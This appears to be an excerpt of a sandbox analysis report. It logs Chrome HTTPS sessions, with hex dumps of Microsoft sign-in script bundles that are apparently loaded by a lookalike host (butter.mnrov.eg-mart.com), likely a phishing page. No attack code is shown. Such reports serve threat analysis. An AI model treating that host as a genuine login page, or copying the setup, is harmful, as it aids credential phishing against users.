2024-11-14 15:39:41 UTC	16383	IN	Data Raw: 44 49 4e 47 5f 4e 4f 54 5f 41 4c 4c 4f 57 45 44 3a 22 38 30 30 34 37 38 44 37 22 2c 50 50 5f 45 5f 49 44 50 5f 42 49 4e 44 49 4e 47 5f 45 58 49 53 54 53 5f 53 41 4d 53 55 4e 47 3a 22 38 30 30 34 34 35 33 45 22 2c 50 50 5f 45 5f 54 52 41 4e 53 46 45 52 5f 54 4f 4b 45 4e 5f 49 4e 56 41 4c 49 44 5f 53 45 53 53 49 4f 4e 3a 22 38 30 30 34 33 35 41 30 22 7d 2c 6e 2e 45 73 74 73 45 72 72 6f 72 3d 7b 55 73 65 72 41 63 63 6f 75 6e 74 53 65 6c 65 63 74 69 6f 6e 49 6e 76 61 6c 69 64 3a 22 31 36 30 30 31 22 2c 55 73 65 72 55 6e 61 75 74 68 6f 72 69 7a 65 64 3a 22 35 30 30 32 30 22 2c 55 73 65 72 55 6e 61 75 74 68 6f 72 69 7a 65 64 41 70 69 56 65 72 73 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3a 22 35 30 30 32 30 31 22 2c 55 73 65 72 55 6e 61 75 74 68 6f 72 69 7a Data Ascii: DING_NOT_ALLOWED:"800478D7",PP_E_IDP_BINDING_EXISTS_SAMSUNG:"8004453E",PP_E_TRANSFER_TOKEN_INVALID_SESSION:"800435A0"},n.EstsError={UserAccountSelectionInvalid:"16001",UserUnauthorized:"50020",UserUnauthorizedApiVersionNotSupported:"500201",UserUnauthoriz
2024-11-14 15:39:41 UTC	2	IN	Data Raw: 64 6f Data Ascii: do
2024-11-14 15:39:41 UTC	16383	IN	Data Raw: 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3a 65 2e 63 75 72 72 65 6e 74 53 74 79 6c 65 3f 65 2e 63 75 72 72 65 6e 74 53 74 79 6c 65 3a 7b 7d 7d 2c 68 69 73 74 6f 72 79 3a 7b 70 75 73 68 53 74 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 54 2e 69 73 48 69 73 74 6f 72 79 53 75 70 70 6f 72 74 65 64 28 29 26 26 75 2e 68 69 73 74 6f 72 79 2e 70 75 73 68 53 74 61 74 65 28 65 2c 6e 29 7d 2c 72 65 70 6c 61 63 65 53 74 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 54 2e 69 73 48 69 73 74 6f 72 79 53 75 70 70 6f 72 74 65 64 28 29 26 26 75 2e 68 69 73 74 6f 72 79 2e 72 65 70 6c 61 63 65 53 74 61 74 65 28 65 2c 6e 29 7d 7d 2c 61 64 64 45 76 65 6e 74 4c 69 73 74 65 Data Ascii: cument.defaultView.getComputedStyle(e,null):e.currentStyle?e.currentStyle:{}},history:{pushState:function(e,n){T.isHistorySupported()&&u.history.pushState(e,n)},replaceState:function(e,n){T.isHistorySupported()&&u.history.replaceState(e,n)}},addEventListe
2024-11-14 15:39:41 UTC	16383	IN	Data Raw: 72 6f 70 65 72 74 79 4c 6f 67 4f 70 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 72 65 74 75 72 6e 28 6e 3d 6e 7c 7c 7b 7d 29 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 22 74 72 61 63 69 6e 67 50 72 6f 70 65 72 74 79 43 68 61 6e 67 65 22 29 7c 7c 28 6e 2e 74 72 61 63 69 6e 67 50 72 6f 70 65 72 74 79 43 68 61 6e 67 65 3d 21 30 29 2c 6e 2e 65 76 65 6e 74 4c 65 76 65 6c 3d 6e 2e 65 76 65 6e 74 4c 65 76 65 6c 7c 7c 69 2e 45 76 65 6e 74 4c 65 76 65 6c 2e 49 6e 66 6f 2c 7b 76 69 65 77 4d 6f 64 65 6c 3a 65 2c 74 72 61 63 69 6e 67 4f 70 74 69 6f 6e 73 3a 6e 7d 7d 2c 73 2e 67 65 74 44 65 66 61 75 6c 74 54 65 78 74 42 6f 78 50 72 6f 70 65 72 74 79 4c 6f 67 4f 70 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 72 65 74 75 72 6e 28 6e 3d 6e Data Ascii: ropertyLogOption=function(e,n){return(n=n\|\|{}).hasOwnProperty("tracingPropertyChange")\|\|(n.tracingPropertyChange=!0),n.eventLevel=n.eventLevel\|\|i.EventLevel.Info,{viewModel:e,tracingOptions:n}},s.getDefaultTextBoxPropertyLogOption=function(e,n){return(n=n
2024-11-14 15:39:41 UTC	16383	IN	Data Raw: 72 20 6e 3d 65 2e 75 73 65 72 6e 61 6d 65 7c 7c 22 22 2c 74 3d 65 2e 66 6c 6f 77 54 6f 6b 65 6e 7c 7c 22 22 2c 69 3d 65 2e 70 75 72 70 6f 73 65 7c 7c 63 2e 50 61 73 73 77 6f 72 64 2c 61 3d 65 2e 70 72 6f 6f 66 54 79 70 65 2c 6f 3d 65 2e 70 72 6f 6f 66 44 61 74 61 7c 7c 22 22 2c 72 3d 65 2e 69 73 45 6e 63 72 79 70 74 65 64 2c 73 3d 65 2e 75 69 4d 6f 64 65 2c 64 3d 65 2e 6c 63 69 64 2c 6c 3d 65 2e 70 68 6f 6e 65 43 6f 75 6e 74 72 79 7c 7c 22 22 2c 70 3d 65 2e 70 68 6f 6e 65 43 6f 75 6e 74 72 79 43 6f 64 65 7c 7c 22 22 2c 6d 3d 65 2e 75 6e 61 75 74 68 53 65 73 73 69 6f 6e 49 64 2c 62 3d 65 2e 70 72 6f 6f 66 43 6f 6e 66 69 72 6d 61 74 69 6f 6e 2c 76 3d 65 2e 63 61 6e 61 72 79 46 6c 6f 77 54 6f 6b 65 6e 3b 74 68 69 73 5b 75 2e 55 73 65 72 6e 61 6d 65 5d 3d 6e Data Ascii: r n=e.username\|\|"",t=e.flowToken\|\|"",i=e.purpose\|\|c.Password,a=e.proofType,o=e.proofData\|\|"",r=e.isEncrypted,s=e.uiMode,d=e.lcid,l=e.phoneCountry\|\|"",p=e.phoneCountryCode\|\|"",m=e.unauthSessionId,b=e.proofConfirmation,v=e.canaryFlowToken;this[u.Username]=n
2024-11-14 15:39:41 UTC	16383	IN	Data Raw: 67 2e 63 6c 6f 6e 65 28 67 65 29 3a 6e 75 6c 6c 3b 72 65 74 75 72 6e 20 69 26 26 28 69 2e 75 6e 73 61 66 65 5f 75 73 65 72 6e 61 6d 65 3d 6e 29 2c 6c 6e 28 65 2c 69 2c 21 30 2c 6c 2e 45 76 65 6e 74 49 64 73 2e 52 65 64 69 72 65 63 74 5f 4f 74 68 65 72 49 64 70 52 65 64 69 72 65 63 74 69 6f 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 74 6e 28 65 2c 6e 2c 74 29 7b 74 3d 74 7c 7c 6c 65 2c 74 3d 70 2e 72 65 6d 6f 76 65 28 74 2c 22 75 73 65 72 6e 61 6d 65 22 29 2c 74 3d 70 2e 72 65 6d 6f 76 65 28 74 2c 22 6c 6f 67 69 6e 5f 68 69 6e 74 22 29 3b 76 61 72 20 69 3d 70 65 3f 67 2e 63 6c 6f 6e 65 28 70 65 29 3a 6e 75 6c 6c 3b 72 65 74 75 72 6e 20 6e 26 26 28 6e 2e 49 66 45 78 69 73 74 73 52 65 73 75 6c 74 3d 3d 3d 53 2e 4e 6f 74 45 78 69 73 74 7c 7c 6e 2e 49 73 55 6e 6d 61 Data Ascii: g.clone(ge):null;return i&&(i.unsafe_username=n),ln(e,i,!0,l.EventIds.Redirect_OtherIdpRedirection)}function tn(e,n,t){t=t\|\|le,t=p.remove(t,"username"),t=p.remove(t,"login_hint");var i=pe?g.clone(pe):null;return n&&(n.IfExistsResult===S.NotExist\|\|n.IsUnma
2024-11-14 15:39:41 UTC	16383	IN	Data Raw: 2e 73 68 6f 77 46 6f 72 67 6f 74 55 73 65 72 6e 61 6d 65 2c 68 3d 65 2e 68 69 64 65 43 72 65 64 53 77 69 74 63 68 4c 69 6e 6b 2c 5f 3d 65 2e 61 72 69 61 44 65 73 63 72 69 62 65 64 42 79 2c 43 3d 65 2e 73 65 74 46 6f 63 75 73 2c 53 3d 74 2e 73 74 72 2c 78 3d 74 2e 75 72 6c 46 6f 72 67 6f 74 55 73 65 72 6e 61 6d 65 2c 77 3d 74 2e 73 53 69 74 65 49 64 2c 79 3d 74 2e 73 43 6c 69 65 6e 74 49 64 2c 6b 3d 74 2e 73 46 6f 72 77 61 72 64 65 64 43 6c 69 65 6e 74 49 64 2c 50 3d 74 2e 73 4e 6f 50 61 42 75 62 62 6c 65 56 65 72 73 69 6f 6e 2c 54 3d 74 2e 66 53 68 6f 77 53 69 67 6e 49 6e 4f 70 74 69 6f 6e 73 41 73 42 75 74 74 6f 6e 2c 44 3d 74 2e 66 4f 66 66 6c 69 6e 65 41 63 63 6f 75 6e 74 56 69 73 69 62 6c 65 2c 45 3d 74 2e 66 55 73 65 43 65 72 74 69 66 69 63 61 74 65 Data Ascii: .showForgotUsername,h=e.hideCredSwitchLink,_=e.ariaDescribedBy,C=e.setFocus,S=t.str,x=t.urlForgotUsername,w=t.sSiteId,y=t.sClientId,k=t.sForwardedClientId,P=t.sNoPaBubbleVersion,T=t.fShowSignInOptionsAsButton,D=t.fOfflineAccountVisible,E=t.fUseCertificate
2024-11-14 15:39:41 UTC	16383	IN	Data Raw: 64 61 74 69 6f 6e 20 66 61 69 6c 65 64 2c 20 75 73 65 72 20 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 20 72 65 71 75 69 72 65 64 2e 22 2c 74 68 69 73 2e 73 74 61 63 6b 3d 28 6e 65 77 20 45 72 72 6f 72 29 2e 73 74 61 63 6b 2c 74 68 69 73 2e 69 6e 6e 65 72 45 72 72 6f 72 3d 65 2c 74 68 69 73 2e 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 56 69 65 77 49 64 3d 6e 2c 74 68 69 73 2e 70 6f 73 74 43 6f 6e 66 69 72 6d 61 74 69 6f 6e 41 63 74 69 6f 6e 3d 74 7d 2c 65 2e 65 78 70 6f 72 74 73 3d 6c 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 76 61 72 20 69 3d 74 28 33 29 2c 61 3d 74 28 37 29 2c 6f 3d 69 2e 41 72 72 61 79 2c 72 3d 7b 6d 65 72 67 65 53 65 73 73 69 6f 6e 73 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 76 61 72 20 69 3d 5b 5d 3b 72 65 74 75 72 6e 20 6f Data Ascii: dation failed, user confirmation required.",this.stack=(new Error).stack,this.innerError=e,this.confirmationViewId=n,this.postConfirmationAction=t},e.exports=l},function(e,n,t){var i=t(3),a=t(7),o=i.Array,r={mergeSessions:function(e,n,t){var i=[];return o
2024-11-14 15:39:41 UTC	16383	IN	Data Raw: 6c 43 64 6e 2c 69 2e 53 65 72 76 65 72 44 61 74 61 2e 75 72 6c 49 6d 61 67 65 50 61 74 68 3d 69 2e 53 65 72 76 65 72 44 61 74 61 2e 75 72 6c 43 64 6e 2b 22 69 6d 61 67 65 73 2f 22 3b 76 61 72 20 61 3d 74 28 32 29 2c 6f 3d 74 28 37 30 29 2c 72 3d 74 28 30 29 2c 73 3d 74 28 31 29 2c 63 3d 74 28 37 33 29 2c 64 3d 74 28 37 29 2c 6c 3d 74 28 37 34 29 3b 74 28 31 38 29 2e 67 65 74 49 6e 73 74 61 6e 63 65 28 77 69 6e 64 6f 77 2e 53 65 72 76 65 72 44 61 74 61 29 3b 76 61 72 20 75 3d 72 2e 4c 6f 67 69 6e 4d 6f 64 65 2c 70 3d 73 2e 48 65 6c 70 65 72 2c 66 3d 73 2e 51 75 65 72 79 53 74 72 69 6e 67 2c 67 3d 73 2e 43 6f 6f 6b 69 65 73 2c 6d 3d 64 2e 4c 6f 67 69 6e 4f 70 74 69 6f 6e 2c 62 3d 21 31 3b 66 75 6e 63 74 69 6f 6e 20 76 28 65 29 7b 21 66 75 6e 63 74 69 6f 6e Data Ascii: lCdn,i.ServerData.urlImagePath=i.ServerData.urlCdn+"images/";var a=t(2),o=t(70),r=t(0),s=t(1),c=t(73),d=t(7),l=t(74);t(18).getInstance(window.ServerData);var u=r.LoginMode,p=s.Helper,f=s.QueryString,g=s.Cookies,m=d.LoginOption,b=!1;function v(e){!function

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.17	49735	152.199.21.175	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:40 UTC	654	OUT	GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_1yb3e7oii5t28dgo4xrtow2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://butter.mnrov.eg-mart.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://butter.mnrov.eg-mart.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 15:39:40 UTC	749	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 6761254 Cache-Control: public, max-age=31536000 Content-MD5: wheuNbhZLcnx5oBIfa0JTw== Content-Type: application/x-javascript Date: Thu, 14 Nov 2024 15:39:40 GMT Etag: 0x8DCC6D4DD76DEA7 Last-Modified: Tue, 27 Aug 2024 20:14:33 GMT Server: ECAcc (lhc/794B) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 5fcf6533-b01e-000b-222d-f97a0c000000 x-ms-version: 2009-09-19 Content-Length: 57443 Connection: close
2024-11-14 15:39:41 UTC	16383	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 69 5b 6e 5d 29 72 65 74 75 72 6e 20 69 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 74 3d 69 5b 6e 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 2c 69 64 3a 6e 2c 6c 6f 61 64 65 64 3a 21 31 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 74 2e 65 78 70 6f 72 74 73 2c 74 2c 74 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 74 2e 6c 6f 61 64 65 64 3d 21 30 2c 74 2e 65 78 70 6f 72 74 73 7d 76 61 72 20 69 3d 7b 7d 3b 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 69 2c 6f 2e 70 3d 22 22 2c 6f 28 30 29 7d 28 5b 66 75 6e 63 74 69 6f 6e 28 65 2c 6f 2c 69 29 7b 69 28 32 29 3b 76 61 72 20 6e 3d 69 28 31 29 2c 74 3d 69 28 35 29 2c 72 3d 69 28 36 29 2c 61 3d 72 2e 53 74 72 69 6e Data Ascii: !function(e){function o(n){if(i[n])return i[n].exports;var t=i[n]={exports:{},id:n,loaded:!1};return e[n].call(t.exports,t,t.exports,o),t.loaded=!0,t.exports}var i={};return o.m=e,o.c=i,o.p="",o(0)}([function(e,o,i){i(2);var n=i(1),t=i(5),r=i(6),a=r.Strin
2024-11-14 15:39:41 UTC	1	IN	Data Raw: 44 Data Ascii: D
2024-11-14 15:39:41 UTC	16383	IN	Data Raw: 65 73 63 72 69 70 74 69 6f 6e 5f 55 6e 66 61 6d 69 6c 69 61 72 44 65 76 69 63 65 3d 22 54 6f 20 73 69 67 6e 20 69 6e 20 77 69 74 68 20 7b 30 7d 2c 20 70 6c 65 61 73 65 20 66 6f 6c 6c 6f 77 20 74 68 65 20 69 6e 73 74 72 75 63 74 69 6f 6e 73 20 6f 6e 20 79 6f 75 72 20 70 68 6f 6e 65 20 61 6e 64 20 65 6e 74 65 72 20 74 68 65 20 6e 75 6d 62 65 72 20 79 6f 75 20 73 65 65 20 62 65 6c 6f 77 2e 22 2c 65 2e 43 54 5f 52 4e 47 43 5f 53 54 52 5f 4c 53 5f 54 69 6d 65 6f 75 74 5f 54 69 74 6c 65 3d 22 52 65 71 75 65 73 74 20 74 69 6d 65 6f 75 74 22 2c 65 2e 43 54 5f 52 4e 47 43 5f 53 54 52 5f 4c 53 5f 54 69 6d 65 6f 75 74 5f 50 61 67 65 44 65 73 63 72 69 70 74 69 6f 6e 3d 22 57 65 20 64 69 64 6e 27 74 20 68 65 61 72 20 66 72 6f 6d 20 79 6f 75 20 69 6e 20 74 69 6d 65 2e Data Ascii: escription_UnfamiliarDevice="To sign in with {0}, please follow the instructions on your phone and enter the number you see below.",e.CT_RNGC_STR_LS_Timeout_Title="Request timeout",e.CT_RNGC_STR_LS_Timeout_PageDescription="We didn't hear from you in time.
2024-11-14 15:39:41 UTC	16383	IN	Data Raw: 2c 65 2e 53 54 52 5f 4e 61 74 69 76 65 5f 53 53 50 52 5f 45 6e 74 65 72 43 6f 64 65 5f 44 65 73 63 3d 22 45 6e 74 65 72 20 74 68 65 20 63 6f 64 65 20 77 65 20 6a 75 73 74 20 73 65 6e 74 20 74 6f 20 7b 30 7d 20 74 6f 20 72 65 73 65 74 20 79 6f 75 72 20 70 61 73 73 77 6f 72 64 2e 22 2c 65 2e 53 54 52 5f 43 65 72 74 42 61 73 65 41 75 74 68 50 6f 6c 69 63 79 5f 42 6c 6f 63 6b 3d 22 59 6f 75 20 63 61 6e 27 74 20 73 69 67 6e 20 69 6e 20 77 69 74 68 20 61 20 63 65 72 74 69 66 69 63 61 74 65 2e 20 54 72 79 20 73 69 67 6e 69 6e 67 20 69 6e 20 77 69 74 68 20 61 6e 6f 74 68 65 72 20 6d 65 74 68 6f 64 2e 22 2c 65 2e 53 54 52 5f 49 6e 76 61 6c 69 64 43 72 65 64 65 6e 74 69 61 6c 44 75 65 54 6f 4d 66 61 43 6c 61 73 73 69 66 69 63 61 74 69 6f 6e 3d 22 4d 75 6c 74 69 66 Data Ascii: ,e.STR_Native_SSPR_EnterCode_Desc="Enter the code we just sent to {0} to reset your password.",e.STR_CertBaseAuthPolicy_Block="You can't sign in with a certificate. Try signing in with another method.",e.STR_InvalidCredentialDueToMfaClassification="Multif
2024-11-14 15:39:41 UTC	8293	IN	Data Raw: 2c 55 73 65 72 56 6f 69 63 65 41 75 74 68 46 61 69 6c 65 64 43 61 6c 6c 57 65 6e 74 54 6f 56 6f 69 63 65 6d 61 69 6c 3a 22 55 73 65 72 56 6f 69 63 65 41 75 74 68 46 61 69 6c 65 64 43 61 6c 6c 57 65 6e 74 54 6f 56 6f 69 63 65 6d 61 69 6c 22 2c 55 73 65 72 56 6f 69 63 65 41 75 74 68 46 61 69 6c 65 64 49 6e 76 61 6c 69 64 50 68 6f 6e 65 49 6e 70 75 74 3a 22 55 73 65 72 56 6f 69 63 65 41 75 74 68 46 61 69 6c 65 64 49 6e 76 61 6c 69 64 50 68 6f 6e 65 49 6e 70 75 74 22 2c 55 73 65 72 56 6f 69 63 65 41 75 74 68 46 61 69 6c 65 64 50 68 6f 6e 65 48 75 6e 67 55 70 3a 22 55 73 65 72 56 6f 69 63 65 41 75 74 68 46 61 69 6c 65 64 50 68 6f 6e 65 48 75 6e 67 55 70 22 2c 55 73 65 72 56 6f 69 63 65 41 75 74 68 46 61 69 6c 65 64 49 6e 76 61 6c 69 64 50 68 6f 6e 65 4e 75 6d Data Ascii: ,UserVoiceAuthFailedCallWentToVoicemail:"UserVoiceAuthFailedCallWentToVoicemail",UserVoiceAuthFailedInvalidPhoneInput:"UserVoiceAuthFailedInvalidPhoneInput",UserVoiceAuthFailedPhoneHungUp:"UserVoiceAuthFailedPhoneHungUp",UserVoiceAuthFailedInvalidPhoneNum

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.17	49738	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:40 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-14 15:39:41 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=25930 Date: Thu, 14 Nov 2024 15:39:41 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-14 15:39:41 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.17	49739	152.199.21.175	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:42 UTC	431	OUT	GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_1yb3e7oii5t28dgo4xrtow2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 15:39:42 UTC	749	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 6761256 Cache-Control: public, max-age=31536000 Content-MD5: wheuNbhZLcnx5oBIfa0JTw== Content-Type: application/x-javascript Date: Thu, 14 Nov 2024 15:39:42 GMT Etag: 0x8DCC6D4DD76DEA7 Last-Modified: Tue, 27 Aug 2024 20:14:33 GMT Server: ECAcc (lhc/794B) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 5fcf6533-b01e-000b-222d-f97a0c000000 x-ms-version: 2009-09-19 Content-Length: 57443 Connection: close
2024-11-14 15:39:42 UTC	16383	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 69 5b 6e 5d 29 72 65 74 75 72 6e 20 69 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 74 3d 69 5b 6e 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 2c 69 64 3a 6e 2c 6c 6f 61 64 65 64 3a 21 31 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 74 2e 65 78 70 6f 72 74 73 2c 74 2c 74 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 74 2e 6c 6f 61 64 65 64 3d 21 30 2c 74 2e 65 78 70 6f 72 74 73 7d 76 61 72 20 69 3d 7b 7d 3b 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 69 2c 6f 2e 70 3d 22 22 2c 6f 28 30 29 7d 28 5b 66 75 6e 63 74 69 6f 6e 28 65 2c 6f 2c 69 29 7b 69 28 32 29 3b 76 61 72 20 6e 3d 69 28 31 29 2c 74 3d 69 28 35 29 2c 72 3d 69 28 36 29 2c 61 3d 72 2e 53 74 72 69 6e Data Ascii: !function(e){function o(n){if(i[n])return i[n].exports;var t=i[n]={exports:{},id:n,loaded:!1};return e[n].call(t.exports,t,t.exports,o),t.loaded=!0,t.exports}var i={};return o.m=e,o.c=i,o.p="",o(0)}([function(e,o,i){i(2);var n=i(1),t=i(5),r=i(6),a=r.Strin
2024-11-14 15:39:42 UTC	16383	IN	Data Raw: 44 65 73 63 72 69 70 74 69 6f 6e 5f 55 6e 66 61 6d 69 6c 69 61 72 44 65 76 69 63 65 3d 22 54 6f 20 73 69 67 6e 20 69 6e 20 77 69 74 68 20 7b 30 7d 2c 20 70 6c 65 61 73 65 20 66 6f 6c 6c 6f 77 20 74 68 65 20 69 6e 73 74 72 75 63 74 69 6f 6e 73 20 6f 6e 20 79 6f 75 72 20 70 68 6f 6e 65 20 61 6e 64 20 65 6e 74 65 72 20 74 68 65 20 6e 75 6d 62 65 72 20 79 6f 75 20 73 65 65 20 62 65 6c 6f 77 2e 22 2c 65 2e 43 54 5f 52 4e 47 43 5f 53 54 52 5f 4c 53 5f 54 69 6d 65 6f 75 74 5f 54 69 74 6c 65 3d 22 52 65 71 75 65 73 74 20 74 69 6d 65 6f 75 74 22 2c 65 2e 43 54 5f 52 4e 47 43 5f 53 54 52 5f 4c 53 5f 54 69 6d 65 6f 75 74 5f 50 61 67 65 44 65 73 63 72 69 70 74 69 6f 6e 3d 22 57 65 20 64 69 64 6e 27 74 20 68 65 61 72 20 66 72 6f 6d 20 79 6f 75 20 69 6e 20 74 69 6d 65 Data Ascii: Description_UnfamiliarDevice="To sign in with {0}, please follow the instructions on your phone and enter the number you see below.",e.CT_RNGC_STR_LS_Timeout_Title="Request timeout",e.CT_RNGC_STR_LS_Timeout_PageDescription="We didn't hear from you in time
2024-11-14 15:39:42 UTC	2	IN	Data Raw: 22 2c Data Ascii: ",
2024-11-14 15:39:42 UTC	16383	IN	Data Raw: 65 2e 53 54 52 5f 4e 61 74 69 76 65 5f 53 53 50 52 5f 45 6e 74 65 72 43 6f 64 65 5f 44 65 73 63 3d 22 45 6e 74 65 72 20 74 68 65 20 63 6f 64 65 20 77 65 20 6a 75 73 74 20 73 65 6e 74 20 74 6f 20 7b 30 7d 20 74 6f 20 72 65 73 65 74 20 79 6f 75 72 20 70 61 73 73 77 6f 72 64 2e 22 2c 65 2e 53 54 52 5f 43 65 72 74 42 61 73 65 41 75 74 68 50 6f 6c 69 63 79 5f 42 6c 6f 63 6b 3d 22 59 6f 75 20 63 61 6e 27 74 20 73 69 67 6e 20 69 6e 20 77 69 74 68 20 61 20 63 65 72 74 69 66 69 63 61 74 65 2e 20 54 72 79 20 73 69 67 6e 69 6e 67 20 69 6e 20 77 69 74 68 20 61 6e 6f 74 68 65 72 20 6d 65 74 68 6f 64 2e 22 2c 65 2e 53 54 52 5f 49 6e 76 61 6c 69 64 43 72 65 64 65 6e 74 69 61 6c 44 75 65 54 6f 4d 66 61 43 6c 61 73 73 69 66 69 63 61 74 69 6f 6e 3d 22 4d 75 6c 74 69 66 61 Data Ascii: e.STR_Native_SSPR_EnterCode_Desc="Enter the code we just sent to {0} to reset your password.",e.STR_CertBaseAuthPolicy_Block="You can't sign in with a certificate. Try signing in with another method.",e.STR_InvalidCredentialDueToMfaClassification="Multifa
2024-11-14 15:39:43 UTC	8292	IN	Data Raw: 55 73 65 72 56 6f 69 63 65 41 75 74 68 46 61 69 6c 65 64 43 61 6c 6c 57 65 6e 74 54 6f 56 6f 69 63 65 6d 61 69 6c 3a 22 55 73 65 72 56 6f 69 63 65 41 75 74 68 46 61 69 6c 65 64 43 61 6c 6c 57 65 6e 74 54 6f 56 6f 69 63 65 6d 61 69 6c 22 2c 55 73 65 72 56 6f 69 63 65 41 75 74 68 46 61 69 6c 65 64 49 6e 76 61 6c 69 64 50 68 6f 6e 65 49 6e 70 75 74 3a 22 55 73 65 72 56 6f 69 63 65 41 75 74 68 46 61 69 6c 65 64 49 6e 76 61 6c 69 64 50 68 6f 6e 65 49 6e 70 75 74 22 2c 55 73 65 72 56 6f 69 63 65 41 75 74 68 46 61 69 6c 65 64 50 68 6f 6e 65 48 75 6e 67 55 70 3a 22 55 73 65 72 56 6f 69 63 65 41 75 74 68 46 61 69 6c 65 64 50 68 6f 6e 65 48 75 6e 67 55 70 22 2c 55 73 65 72 56 6f 69 63 65 41 75 74 68 46 61 69 6c 65 64 49 6e 76 61 6c 69 64 50 68 6f 6e 65 4e 75 6d 62 Data Ascii: UserVoiceAuthFailedCallWentToVoicemail:"UserVoiceAuthFailedCallWentToVoicemail",UserVoiceAuthFailedInvalidPhoneInput:"UserVoiceAuthFailedInvalidPhoneInput",UserVoiceAuthFailedPhoneHungUp:"UserVoiceAuthFailedPhoneHungUp",UserVoiceAuthFailedInvalidPhoneNumb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.17	49730	152.199.21.175	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
